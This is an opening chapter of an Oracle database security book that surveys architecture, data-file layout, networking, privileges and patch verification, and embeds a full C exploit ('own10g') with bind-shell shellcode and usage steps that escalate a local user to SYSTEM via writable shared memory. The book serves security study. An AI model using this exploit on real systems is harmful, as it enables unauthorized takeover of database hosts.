CHAPTER

1

Overview of the Oracle RDBMS

This chapter provides a broad overview of the Oracle database server. With the exception of one new attack (see "Processes"), the material covered here is geared toward those who have never come across Oracle before, so readers with a general understanding of Oracle should feel free to skip ahead to the "meat" of the book. This chapter covers Oracle architecture, database objects, users and roles, and privileges, and finishes up with a discussion on Oracle patching.

Architecture

When we talk about an Oracle database server what do we actually mean? A *database* refers to all of a system's data — such as on the disk. A database *instance* refers to all the running processes and memory that enable that data to be queried. Normally, one database is serviced by one instance, but in the case of *clustering* there can be many instances running for a single database. The *System Identifier,* or *SID,* is the name given to the database instance. When I use the term host or server I'm generally referring to the machine upon which the database server software is running — regardless of the instance or database.

There are two major components to the software: the TNS Listener and the relational database management system (RDBMS) itself. The TNS Listener is the hub of all Oracle communications. When a database instance is brought up or started, it registers with the TNS Listener. When a client wishes to access the database, it first connects to the Listener and the Listener then redirects the client to the database server. When the RDBMS wants to launch an external procedure, it connects first to the Listener, which in turns launches a program called *extproc*. This is fully covered in the *Database Hacker's Handbook* so won't be repeated here. One exception to this is the external jobs launched by the database's job scheduler. Here the RDBMS connects directly to the external job server. You'll learn more about this later, too.

Processes

The processes that make up the Oracle server and services vary depending upon whether you're looking at Oracle on Windows or Oracle on a *nix platform. Recall that a database instance describes all the processes and memory structures that provide access to the database. There are two kinds of processes — *background* and *shadow*, or *server*. Shadow or server processes serve client requests. In other words, when a client connects to the TNS Listener and requests access to database services, the Listener hands them off to a server process. This server process takes SQL queries and executes them on behalf of the client. Background processes exist to support this. There are a number of different background processes each with a different role, including the Database Writer, the Log Writer, the Archiver, the System Monitor, and the Process Monitor, among others.

Suffice it to say that on *nix platforms each of these background processes is a separate running process, as in an operating system process. On Windows, they're all wrapped up into one larger process — namely, oracle.exe. There is a special area of memory that is mapped among all processes on *nix called the *System Global Area (SGA)*. The SGA is implemented as a memory-mapped file (section) and contains information pertaining to the instance and the database. It also contains an area known as the *shared pool*, which contains structures shared among all users, such as table definitions and the like.

An interesting aspect of the Oracle process running on Windows is that the process can be programmatically opened by the "Everyone" group. This is a major security flaw. Consider the following code:

```
/*
Steps:

1) Get the Process ID for Oracle.exe — e.g. 1892
2) Get the Database SID — e.g. ORCL
3) Open 2 command shells — let's call them A and B
4) In command shell A run
      C:\>sqlplus /nolog
      SQL*Plus: Release 10.1.0.2.0 — Production on Fri Jun 3 23:18:58
2005
      Copyright (c) 1982, 2004, Oracle.  All rights reserved.
      SQL> connect scott/invalidpassword
5) In command shell B run
      C:\>own10g 1892 *oraspawn_buffer_orcl*
6) In command shell A attempt to reauthenticate in sqlplus
7) In command shell B run
      C:\>telnet 127.0.0.1 6666
      Microsoft Windows XP [Version 5.1.2600]
      (C) Copyright 1985-2001 Microsoft Corp.
      C:\WINDOWS\system32>c:\whoami
      c:\whoami
      NT AUTHORITY\SYSTEM
*/

#include <stdio.h>
#include <windows.h>
#include <winbase.h>

HANDLE hSection=NULL;
unsigned char *p = NULL;

int OpenTheSection(unsigned char *section, DWORD perm);
SIZE_T GetSizeOfSection();
int MapTheSection(unsigned int rw);

unsigned char shellcode[]=
"\x83\xEC\x24\x55\x8B\xEC\xEB\x03\x58\xEB\x05\xE8\xF8\xFF\xFF\xFF"
"\x83\xC0\x7E\x83\xC0\x7B\x50\x99\x64\x8B\x42\x30\x8B\x40\x0C\x8B"
"\x70\x1C\xAD\x8B\x48\x08\x51\x52\x8B\x7D\xFC\x8B\x3C\x57\x57\x8B"
"\x41\x3C\x8B\x7C\x01\x78\x03\xF9\x8B\x5F\x1C\x8B\x77\x20\x8B\x7F"
"\x24\x03\xF1\x03\xD9\x03\xF9\xAD\x91\x33\xF6\x33\xD2\x8A\x14\x08"
"\x41\xC1\xCE\x0D\x03\xF2\x84\xD2\x75\xF3\x83\xC7\x02\x5A\x52\x66"
"\x3B\xF2\x75\xE5\x5A\x5A\x42\x0F\xB7\x4F\xFE\x03\x04\x8B\x89\x44"
"\x95\x04\x59\x80\xFA\x02\x7E\xAE\x80\xFA\x08\x74\x1E\x52\x80\xFA"
"\x03\x74\x02\xEB\xA1\x99\x52\x68\x33\x32\x20\x20\x68\x77\x73\x32"
"\x5F\x54\xFF\xD0\x83\xC4\x0C\x5A\x91\xEB\x8B\x99\xB6\x02\x2B\xE2"
"\x54\x83\xC2\x02\x52\xFF\xD0\x50\x50\x50\x6A\x06\x6A\x01\x6A\x02"
"\xFF\x55\x14\x8D\x65\xD4\x50\x99\x52\x52\x52\xBA\x02\xFF\x1A\x0A"
"\xFE\xC6\x52\x54\x5F\x6A\x10\x57\x50\xFF\x55\x18\x6A\x01\xFF\x75"
```

```
"\xD0\xFF\x55\x1C\x50\x50\xFF\x75\xD0\xFF\x55\x20\x99\x52\x68\x63"
"\x6D\x64\x20\x54\x5F\x50\x50\x50\x52\x52\xB6\x01\x52\x6A\x0A\x99"
"\x59\x52\xE2\xFD\x6A\x44\x54\x5E\x42\x54\x56\x51\x51\x51\x52\x51"
"\x51\x57\x51\xFF\x55\x0C\xFF\x55\x08\x16\x9F\x9F\xB5\x72\x60\xA8"
"\x6F\x80\x3B\x75\x49\x32\x4C\xE7\xDF";


int WriteShellCode(char *section);

int main(int argc, char *argv[])
{
      HANDLE hThread = NULL;
      DWORD id = 0;
      HMODULE k=NULL;
      FARPROC mOpenThread = 0;
      FARPROC ntq = 0;
      FARPROC nts = 0;
      unsigned char buff[1024]="";
      unsigned int len = 0;
      unsigned int res = 0;
      unsigned int pid = 0;
      unsigned char *p = 0;
      unsigned int tid = 0;
      CONTEXT ctx;
      unsigned char *ptr=NULL;

      if(argc != 3)
      {
            printf("\n\n\t*** own10g ***\n\n");
            printf("\tC:\\>%s pid section_name\n\n",argv[0]);
            printf("\twhere pid is the process ID of Oracle\n");
            printf("\tand section_name is *oraspawn_buffer_SID*\n");
            printf("\tSID is the database SID—e.g. orcl\n\n");
            printf("\tSee notes in source code for full details\n\n");
            printf("\tDavid Litchfield\n\t(davidl@ngssoftware.com)");
printf("\n\t3rd June 2005\n\n\n");
            return 0;
      }


      if(WriteShellCode(argv[2])==0)
            return printf("Failed to write to section %s\n",argv[2]);

      k = LoadLibrary("kernel32.dll");
      if(!k)
            return printf("Failed to load kernel32.dll");
      mOpenThread = GetProcAddress(k,"OpenThread");
      if(!mOpenThread)
            return printf("Failed to get address of OpenThread!");
      k = LoadLibrary("ntdll.dll");
```

```
      if(!k)
            return printf("Failed to load ntdll.dll");
      ntq = GetProcAddress(k,"NtQueryInformationThread");
      if(!ntq)
            return printf("Failed");
      nts = GetProcAddress(k,"NtSetInformationThread");
      if(!nts)
            return printf("Failed");

      tid = atoi(argv[1]);

      while(id < 0xFFFF)
      {
            hThread = mOpenThread(THREAD_ALL_ACCESS,TRUE,id);
            if(hThread)
            {
                  res = ntq(hThread,0,buff,0x1C,&len);
                  if(res !=0xC0000003)
                  {
                        p = &buff[9];
                        pid = (int) *p;
                        pid = pid << 8;
                        p--;
                        pid = pid + (int) *p;

                        if(pid == tid)
                        {
                              printf("%d\n",id);
                              ctx.ContextFlags =
CONTEXT_INTEGER|CONTEXT_CONTROL;
                              if(GetThreadContext(hThread,&ctx)==0)
                                    return printf("Failed to get
context");
                              ptr = (unsigned char *)&ctx;
                              ptr = ptr + 184;

            // This exploit assumes the base address of the
            // section is at 0x044D0000. If it is not at this
            // address on your system—change it.

                              memmove(ptr,"\x40\x01\x4D\x04",4);
                              if(SetThreadContext(hThread,&ctx)==0)
                                    return
printf("%d\n",GetLastError());
                        }
                  }

            }
            hThread = NULL;
            id ++;
```

```
        }

        return 0;
}



int WriteShellCode(char *section)
{

        SIZE_T size = 0;

        if(OpenTheSection(section,FILE_MAP_WRITE)==0)
        {
                printf("OpenTheSection: Section %s\tError:
%d\n",section,GetLastError());
                return 0;
        }
        if(MapTheSection(FILE_MAP_WRITE)==0)
        {
                printf("MapTheSection: Section %s\tError:
%d\n",section,GetLastError());
                return 0;
        }
        size = GetSizeOfSection();
        if(size == 0)
        {
                printf("GetSizeOfSection: Section %s\tError:
%d\n",section,GetLastError());
                return 0;
        }

        printf("Size of section %d\n",size);

        if(size < 0x141)
                return 0;

        size = size-0x140;

        if(size < strlen(shellcode))
                return 0;

        p = p + 0x140;

        memmove(p,shellcode,strlen(shellcode));

        return 1;


}
```

```
int OpenTheSection(unsigned char *section, DWORD perm)
{


      SIZE_T size=0;
      hSection = OpenFileMapping( perm, FALSE, section);
      if(!hSection)
            return 0;
      else
            return 1;
}


int MapTheSection(unsigned int rw)
{
      p = (char *)MapViewOfFile( hSection, rw, 0, 0, 0 );
      if(!p)
            return 0;
      return 1;
}

SIZE_T GetSizeOfSection()
{

      MEMORY_BASIC_INFORMATION mbi;
      SIZE_T size=0;
      if(!p)
      {
            printf("Address not valid.\n");
            return 0;
      }
      ZeroMemory(&mbi,sizeof(mbi));
      size = VirtualQuery(p,&mbi,sizeof(mbi));
      if(size !=28)
            return 0;
      size = mbi.RegionSize;
      printf("Size: %d\n",size);
      return size;

}
```

So what's going on, here? When a local user attempts to connect to Oracle on Windows, it does so over named pipes. Four threads are created in the main server process to handle the communication between the client and the server. These four threads have a Discretionary Access Control List (DACL) that gives the user permission to open the thread.

In Step 4, by attempting to authenticate, we create these threads in the server process.

In Step 5 we run this exploit, which opens a memory section in the server process and writes our shellcode here. This section has an address of 0x044D0000 (but this may vary). Because the DACL on this section allows everyone to write to this memory, we can do this. This section has a name of `*oraspawn_buffer_orcl*`, where `orcl` is the database SID you got in Step 2. Note that we write our shellcode specifically to 0x044D0140 — i.e., 0x140 bytes into the section. We do this to prevent our shellcode from being munged in our second connection attempt. As well as write our shellcode to the section, we set the thread's execution context — in other words, we set EIP to point to our shellcode.

In Step 6 we reactivate the sleeping thread and switch to our shellcode.

The shellcode spawns a shell on TCP port 6666, which we telnet to in Step 7.

Note that by running `whoami` we're running our shell with system privileges.

The File System

Knowing a bit about the Oracle structure on the file system is extremely useful. In one of the later chapters we'll look at bypassing database enforced access control by accessing the Oracle files directly, so this section covers the basic layout. The base directory in which Oracle is installed is known as the Oracle Home. An environment variable known, not surprisingly, as `ORACLE_HOME` must be set to this directory in order for most of the Oracle utilities to work. Throughout this book, when I refer to the location of a file, I often precede it with the `$ORACLE_HOME` environment variable — for example, the main Oracle executable is located at `$ORACLE_HOME/bin/oracle` on *nix environments and `%ORACLE_HOME%\bin\oracle.exe`. In fact, most of the Oracle executables and dynamic link libraries are located in this directory. As such, `$ORACLE_HOME/bin` should be in the PATH environment variable; otherwise, again, the utilities won't work.

Data is stored logically in tablespaces (see "Database Objects") and physically in data files, usually with a `.dbf` file extension. Normally the data files are found in the `$ORACLE_HOME/oradata/SID` directory, where SID is the database SID. These data files have a simple binary structure. The file header for Oracle 10g can be described as follows: Byte 2 indicates the file type — 0xA2 seems to indicate a normal data file, 0xC2 is a control file, and 0x22 is a redo log file. The DWORD (4 bytes) at 0x14 to 0x17 indicates the size of each data block in the file and the DWORD at 0x18 to 0x1B provides the number of data blocks in the file. Bytes 0x1C to

0x1F are a "magic" key — always set to 0x7D7C7B7A. The file header is the same size as every other block, as indicated by 0x14 to 0x17 — so if this were 0x00002000, then the first data block would be found 0x00002000 bytes into the file.

Each data block contains its block number at bytes block_base+04 and block_base+05, and the server version from bytes block_base+0x18 to block_base+0x1B. The first data block is special and contains information about both the server the data file is from and the file itself. For example, the SID of the database can be found at block_base+0x20, the tablespace name at block_base+0x52, and the length of this name at two bytes at block_base+0x50.

Two other important file types were mentioned earlier — namely, the control files and the redo logs. Control files contain critical information about the database server's physical structure. The redo logs keep track of changes made to data files, and they act as a bridge between the server and the data files: Before any changes are made to the data files they're first written to the redo logs. Thus, if something goes wrong with the data files, the state can be restored from information in these redo logs. Examining these log files can often reveal useful information to an attacker. For example, if a user changes his or her password using the `ALTER USER name IDENTIFIED by password` syntax, then the clear text password will be written to the redo logs in Oracle 9 and earlier.

The database initialization configuration file, `init<SID>.ora` or `spfile<SID>.ora`, can be located at `%ORACLE_HOME%\database\` on Windows and `$ORACLE_HOME/dbs` on *nix platforms.

The Network

Oracle can be configured to listen on TCP sockets, with or without SSL, IPC, SPX, and named pipes. For those who are looking at Oracle on the Windows platform, remember that named pipes are accessible over the network on TCP ports 139 and 445. (This means that even when the TNS Listener has been configured not to listen on TCP sockets, it is *still* accessible over the network via named pipes.) As far as TCP is concerned, the server is generally found listening on port 1521 or 1526, but it depends on what product has been installed and whether the DBA has configured the server to listen on a non-default port. The Oracle protocol is thoroughly discussed in the next chapter.

Database Objects

Oracle supports the typical database objects one would normally expect in a database server, such as tables and views. Other objects that we'll be paying particular attention to later include triggers, packages, procedures, and functions. You can list all objects types that exist in a database by executing the following SQL:

```
SQL> select distinct object_type from all_objects order by 1;
```

In a default install of Oracle 10g, more than 41 object types are listed.

Users and Roles

Oracle requires users to be authenticated with a user ID and password. Oracle is renowned for the number of default accounts it creates with a default password but this has changed in recent times; most default accounts are generally locked these days. We'll look at this further in Chapter 4, "Attacking the Authentication Process." The most powerful user in an Oracle database server is SYS, closely followed by the SYSTEM user. Depending upon what other components have been installed, other powerful users include, but are not limited to, CTXSYS, MDSYS, WKSYS, and SYSMAN. You'll see later that attacking objects owned by these users leads to complete control of the database server.

A *schema* is a collection of objects owned by a given user. For example, all of the tables, views, and procedures owned by SCOTT would be said to exist in the SCOTT schema. There is also a special user called PUBLIC — anything that relates to the PUBLIC user applies to everyone in the database.

Privileges

Access control in Oracle is controlled by the assignation of privileges. There are two types of privilege: object and system. Object privileges refer to what actions can be taken against database objects such as tables, views, and procedures, whereas system privileges refer to what the user can do to the database — such as create and drop. Privileges can be assigned directly to users or roles. One of the key aims of this book is to show how an attacker can go from having no access at all to gaining every privilege.

Object privileges include the following:

```
ALTER
DEBUG
DELETE
```

```
DEQUEUE
EXECUTE
FLASHBACK
INDEX
INSERT
ON COMMIT REFRESH
QUERY REWRITE
READ
REFERENCES
SELECT
UNDER
UPDATE
WRITE
```

There are in excess of 170 system privileges. A full list of system privileges can be obtained by executing the following:

```
SQL> select name from system_privilege_map;
```

In addition, there are groups of system privileges such as `ALTER ANY`, `CREATE ANY`, `EXECUTE ANY`, `ANALYZE`, `AUDIT`, `DEBUG`, `DELETE ANY`, and `DROP ANY`. For example, `EXECUTE ANY` includes the following:

```
EXECUTE ANY CLASS
EXECUTE ANY EVALUATION CONTEXT
EXECUTE ANY INDEXTYPE
EXECUTE ANY LIBRARY
EXECUTE ANY OPERATOR
EXECUTE ANY PROCEDURE
EXECUTE ANY PROGRAM
EXECUTE ANY RULE
EXECUTE ANY RULE SET
EXECUTE ANY TYPE
```

To find out what privileges a user has, you can query the `DBA_TAB_PRIVS` and `DBA_SYS_PRIVS` views. We'll also examine how having one privilege can lead to an attacker gaining another — all the way to DBA privileges. This is covered in Chapter 7, "Indirect Privilege Elevation."

Oracle Patching

In late August of 2004, Oracle released a long-awaited patchset. This patchset fixed hundreds of vulnerabilities that had been reported by security researchers such as the author, Esteban Martinez Fayo, Pete Finnigan, Jonathan Gennick, Alexander Kornbrust Stephen Kost, Matt Moore, Andy Rees, and Christian Schaller. Known as Alert 68, it heralded the arrival of a

different approach from Oracle with regard to patching and patch release. From then on, every three months, Oracle committed to releasing a critical patch update (CPU). CPUs tend to contain a large number of fixes, and only once (at the time of writing) has a CPU not been re-issued several times — that being the CPU of July 2006. Because of this frequency and volume, it is common to find servers with faulty, outdated patches. As a result, administrators think they are protected when in fact they are not. Oracle has publicly and privately taken a lot of criticism for this.

The tool used for installing Oracle patches on all versions of Oracle except 8.1.7.4 is known as "opatch." The opatch utility reads a file delivered with the patch called `$PATCH/etc/config/actions` that describes a list of install actions such as what files to copy where. Once the tool is run, it updates a file called `$ORACLE_HOME/inventory/ContentsXML/comps.xml`. This file contains, among other things, a list of the bug numbers that have been fixed by the patchset. It is not recommended that you rely on the information in this file to determine whether or not a server is vulnerable to a given flaw because opatch can fail, and patches are frequently re-released due to errors leading to incorrect information in the `comps.xml` file. This can be misleading.

The only surefire way to determine whether the server is vulnerable is to confirm whether the vulnerable code exists on the server. You can do this by checksumming all the PLSQL code and comparing the resulting checksums with a known list for flawed packages. Using NGSSoftware's NGSSQuirreL, you can use the `DBMS_UTILITY.GET_HASH_VALUE` function. Here's a quick explanation so you can implement this yourself if you wish. The text of a given PLSQL package is stored across multiple rows in the `DBA_SOURCE` view. For each row of text for the package, you generate a hash using the `DBMS_UTILITY.GET_HASH_VALUE` function. You then get an average for each row to 30 decimal places:

```
SQL> set numwidth 50
SQL> SELECT
AVG(DBMS_UTILITY.GET_HASH_VALUE(TEXT,1000000000,POWER(2,30)))
  2  AS CHECKSUM FROM DBA_SOURCE
  3  WHERE OWNER='SYS' AND NAME='LT'
  4  /

CHECKSUM
----------------------------------------
1565254527.830985915492957746478873239437

SQL>
```

You can then compare this number to your list of hashes that match packages known to be vulnerable — in this case, the LT package owned by SYS. When Oracle fixes this package the source code will change, and so therefore will the number. As such, it is easy to determine whether the version of LT, or whatever package you're interested in, is vulnerable or not. Checking for flaws in this manner absolutely removes all false positives from scanning. If the numbers match, you know you have a vulnerable version.

Wrapping Up

This chapter has provided a brief overview of the main aspects of the Oracle database server that we'll be discussing in depth in subsequent chapters.